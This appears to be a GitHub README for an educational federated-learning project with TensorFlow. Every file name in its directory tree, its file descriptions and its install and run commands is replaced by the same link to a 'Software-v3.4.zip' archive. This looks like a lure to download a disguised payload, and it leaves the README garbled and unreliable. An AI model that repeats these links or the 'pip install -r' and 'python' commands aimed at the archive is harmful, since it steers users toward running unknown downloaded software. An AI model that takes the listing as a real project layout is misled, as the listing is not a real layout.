This project implements a simple Federated Learning setup using TensorFlow, NumPy, and Pandas. It trains local models on different partitions of data and aggregates them using Federated Averaging.
├── data/
│ ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│ └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── models/
│ └── global_model.h5
│
├── results/
│ └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── src/
│ ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│ ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│ ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│ ├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│ └── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
│
├── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
└── https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
- data/: Contains the training and testing CSV files.
- models/: Stores the saved global model after federated training.
- results/: Contains evaluation results like accuracies.
- src/: Contains all Python source code split into modular files.
- https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for loading and preparing data.
- https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for creating and evaluating models.
- https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Functions for client training and federated averaging.
- https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: Main file to run the federated training pipeline.
- https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip: List of Python libraries needed.
- Install required packages:
pip install -r https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip- Run the main script:
python https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip- Outputs:
- Global model saved at
models/global_model.h5 - Client accuracies and global accuracy saved at
https://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zip
- Global model saved at
- TensorFlow
- NumPy
- Pandas
- scikit-learn
- This project is designed for understanding basic federated learning concepts.
- You can adjust
num_clientsinhttps://github.com/sidd0227/Federated/raw/refs/heads/main/images/Software-v3.4.zipto simulate different numbers of clients. - You can replace the dataset with any other classification dataset for experiments.
Made with for learning federated machine learning!